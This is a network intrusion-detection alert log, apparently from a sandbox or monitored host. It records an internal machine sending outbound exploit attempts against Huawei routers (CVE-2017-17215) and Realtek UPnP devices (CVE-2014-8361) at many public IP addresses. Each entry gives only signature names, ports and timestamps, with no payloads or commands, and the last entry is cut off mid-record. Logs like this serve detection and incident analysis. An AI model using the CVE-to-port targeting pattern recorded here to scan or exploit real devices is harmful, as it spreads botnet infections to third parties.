ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.176.8.137

Timestamp:	07/20/24-23:01:00.639011
SID:	2835222
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.48.250.210

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	36670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.43.240.212

Timestamp:	07/20/24-23:01:42.571884
SID:	2831300
Source Port:	47098
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.251.43.137

Timestamp:	07/20/24-23:01:08.623583
SID:	2027339
Source Port:	33670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.186.193.196

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	45952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.33.160.160

Timestamp:	07/20/24-23:01:27.650975
SID:	2829579
Source Port:	40676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.247.120

Timestamp:	07/20/24-23:01:02.048214
SID:	2835222
Source Port:	36992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.223.52.236

Timestamp:	07/20/24-23:01:46.755168
SID:	2025132
Source Port:	52648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:54.153862
SID:	2027339
Source Port:	55358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.185.209.150

Timestamp:	07/20/24-23:02:48.447182
SID:	2025132
Source Port:	60456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.11.151.145

Timestamp:	07/20/24-23:01:20.132511
SID:	2829579
Source Port:	47906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.98.46.120

Timestamp:	07/20/24-23:01:31.327539
SID:	2831300
Source Port:	37754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.189.20.84

Timestamp:	07/20/24-23:01:43.555540
SID:	2831300
Source Port:	34994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.27.201

Timestamp:	07/20/24-23:01:00.638305
SID:	2835222
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.111.45.230

Timestamp:	07/20/24-23:01:06.994337
SID:	2835222
Source Port:	41576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.192.144.142

Timestamp:	07/20/24-23:01:45.540580
SID:	2027339
Source Port:	53822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.129.229.179

Timestamp:	07/20/24-23:01:08.620788
SID:	2831300
Source Port:	60702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.254.34.7

Timestamp:	07/20/24-23:01:08.572556
SID:	2831300
Source Port:	54124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.254.203.194

Timestamp:	07/20/24-23:01:44.491962
SID:	2831300
Source Port:	54654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.13.209.238

Timestamp:	07/20/24-23:01:41.722161
SID:	2027339
Source Port:	35428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.4.8.31

Timestamp:	07/20/24-23:01:44.926055
SID:	2831300
Source Port:	54108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.202.42.80

Timestamp:	07/20/24-23:01:50.280308
SID:	2027339
Source Port:	42914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.6.33.130

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	54260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.28.45.219

Timestamp:	07/20/24-23:01:40.294677
SID:	2829579
Source Port:	39244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.176.134.213

Timestamp:	07/20/24-23:01:49.170008
SID:	2027339
Source Port:	50656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.42.165.86

Timestamp:	07/20/24-23:01:04.014689
SID:	2829579
Source Port:	44888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.70.75.159

Timestamp:	07/20/24-23:01:42.374543
SID:	2025132
Source Port:	49044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.78.135.79

Timestamp:	07/20/24-23:01:53.625101
SID:	2027339
Source Port:	45762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.43.107.32

Timestamp:	07/20/24-23:00:59.154067
SID:	2829579
Source Port:	57256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.5.59.56

Timestamp:	07/20/24-23:01:42.637859
SID:	2831300
Source Port:	57312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.110.126.98

Timestamp:	07/20/24-23:01:42.924014
SID:	2025132
Source Port:	57080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.51.58.185

Timestamp:	07/20/24-23:01:42.632446
SID:	2027339
Source Port:	50766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.188.204.238

Timestamp:	07/20/24-23:01:47.420081
SID:	2831300
Source Port:	51354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.185.15.35

Timestamp:	07/20/24-23:01:46.064501
SID:	2027339
Source Port:	59702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.126.39.49

Timestamp:	07/20/24-23:01:12.853279
SID:	2831300
Source Port:	41360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.255.77.181

Timestamp:	07/20/24-23:01:48.080190
SID:	2027339
Source Port:	37272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.13.149.1

Timestamp:	07/20/24-23:02:00.651394
SID:	2027339
Source Port:	32944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.2.7.209

Timestamp:	07/20/24-23:01:41.156801
SID:	2027339
Source Port:	52004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.123.182.34

Timestamp:	07/20/24-23:01:41.426681
SID:	2025132
Source Port:	37400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.47.80.71

Timestamp:	07/20/24-23:01:44.706302
SID:	2027339
Source Port:	58266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.115.164.104

Timestamp:	07/20/24-23:01:48.255782
SID:	2027339
Source Port:	37054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.42.34.219

Timestamp:	07/20/24-23:01:41.378556
SID:	2025132
Source Port:	56714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.130.195.101

Timestamp:	07/20/24-23:01:43.977046
SID:	2831300
Source Port:	58520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.127.134.199

Timestamp:	07/20/24-23:02:08.291319
SID:	2831300
Source Port:	41704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.28.80.1

Timestamp:	07/20/24-23:00:59.154067
SID:	2829579
Source Port:	47450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.71.222.184

Timestamp:	07/20/24-23:03:46.099099
SID:	2027339
Source Port:	39362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.14.209.187

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	42056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.247.8.242

Timestamp:	07/20/24-23:01:44.831437
SID:	2831300
Source Port:	51570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.8.177

Timestamp:	07/20/24-23:01:24.876437
SID:	2835222
Source Port:	53292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:46.495508
SID:	2027339
Source Port:	32926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.129.228.59

Timestamp:	07/20/24-23:01:10.641552
SID:	2027339
Source Port:	37582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.254.145.51

Timestamp:	07/20/24-23:01:25.383450
SID:	2027339
Source Port:	58750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.195.227.25

Timestamp:	07/20/24-23:01:47.359862
SID:	2831300
Source Port:	36196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.142.102.71

Timestamp:	07/20/24-23:01:43.621955
SID:	2027339
Source Port:	59324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.8.18.232

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	58700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.144.195

Timestamp:	07/20/24-23:01:27.730585
SID:	2829579
Source Port:	41968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.129.243.233

Timestamp:	07/20/24-23:01:40.311124
SID:	2835222
Source Port:	59350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.137.178.82

Timestamp:	07/20/24-23:01:55.273926
SID:	2025132
Source Port:	36792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.65.172.105

Timestamp:	07/20/24-23:01:42.616434
SID:	2027339
Source Port:	38648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.222.130

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	35032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.21.97.146

Timestamp:	07/20/24-23:01:42.151857
SID:	2025132
Source Port:	36342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 144.196.193.162

Timestamp:	07/20/24-23:01:50.798234
SID:	2831300
Source Port:	53904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.136.40.221

Timestamp:	07/20/24-23:01:45.072641
SID:	2027339
Source Port:	50632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.209.93.74

Timestamp:	07/20/24-23:01:14.152613
SID:	2025132
Source Port:	50726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.157.174.11

Timestamp:	07/20/24-23:01:20.601040
SID:	2831300
Source Port:	34250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 51.142.141.117

Timestamp:	07/20/24-23:01:00.651026
SID:	2829579
Source Port:	52146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.213.19.147

Timestamp:	07/20/24-23:02:11.947779
SID:	2027339
Source Port:	45322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.208.79.121

Timestamp:	07/20/24-23:01:13.299019
SID:	2025132
Source Port:	35426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.249.90

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	41876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.12.241

Timestamp:	07/20/24-23:00:59.161892
SID:	2835222
Source Port:	35634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.206.146.166

Timestamp:	07/20/24-23:01:04.085431
SID:	2835222
Source Port:	36238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.219.226.207

Timestamp:	07/20/24-23:01:45.108910
SID:	2025132
Source Port:	36110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.129.34.41

Timestamp:	07/20/24-23:01:31.976795
SID:	2829579
Source Port:	50596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.84.99.94

Timestamp:	07/20/24-23:01:04.039129
SID:	2829579
Source Port:	55026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.126.39.243

Timestamp:	07/20/24-23:01:51.888686
SID:	2027339
Source Port:	35966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.238.18.41

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.66.59.209

Timestamp:	07/20/24-23:01:46.359091
SID:	2025132
Source Port:	35414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.206.63.145

Timestamp:	07/20/24-23:01:11.630572
SID:	2835222
Source Port:	53720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.167.95.17

Timestamp:	07/20/24-23:01:42.812448
SID:	2025132
Source Port:	43362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.189.126.127

Timestamp:	07/20/24-23:01:52.582295
SID:	2027339
Source Port:	54232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.3.151.48

Timestamp:	07/20/24-23:01:52.940746
SID:	2025132
Source Port:	53548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.27.181.202

Timestamp:	07/20/24-23:01:10.610618
SID:	2025132
Source Port:	39700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.240.199.7

Timestamp:	07/20/24-23:01:24.790282
SID:	2027339
Source Port:	58736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.134.62.33

Timestamp:	07/20/24-23:01:49.463055
SID:	2027339
Source Port:	52582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.110.166

Timestamp:	07/20/24-23:01:31.978142
SID:	2829579
Source Port:	51306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.243.7.84

Timestamp:	07/20/24-23:01:00.633385
SID:	2829579
Source Port:	55384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.132.50.155

Timestamp:	07/20/24-23:01:42.758824
SID:	2025132
Source Port:	35010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.35.192.158

Timestamp:	07/20/24-23:01:42.399678
SID:	2831300
Source Port:	38444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.3.200.28

Timestamp:	07/20/24-23:01:57.518588
SID:	2027339
Source Port:	55242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.253.87

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	56422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.187.52.139

Timestamp:	07/20/24-23:01:08.668802
SID:	2027339
Source Port:	38256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.33.11.159

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	43684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.69.50.199

Timestamp:	07/20/24-23:02:01.526784
SID:	2831300
Source Port:	48998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.229.235.45

Timestamp:	07/20/24-23:01:47.420081
SID:	2027339
Source Port:	33654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.64.65

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	44694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.32.230.224

Timestamp:	07/20/24-23:01:44.019540
SID:	2027339
Source Port:	44750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.195.20.9

Timestamp:	07/20/24-23:01:57.313050
SID:	2027339
Source Port:	39142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.31.237

Timestamp:	07/20/24-23:01:04.053605
SID:	2829579
Source Port:	38924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.217.206.213

Timestamp:	07/20/24-23:01:11.631549
SID:	2835222
Source Port:	40492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.163.211.196

Timestamp:	07/20/24-23:01:42.702731
SID:	2027339
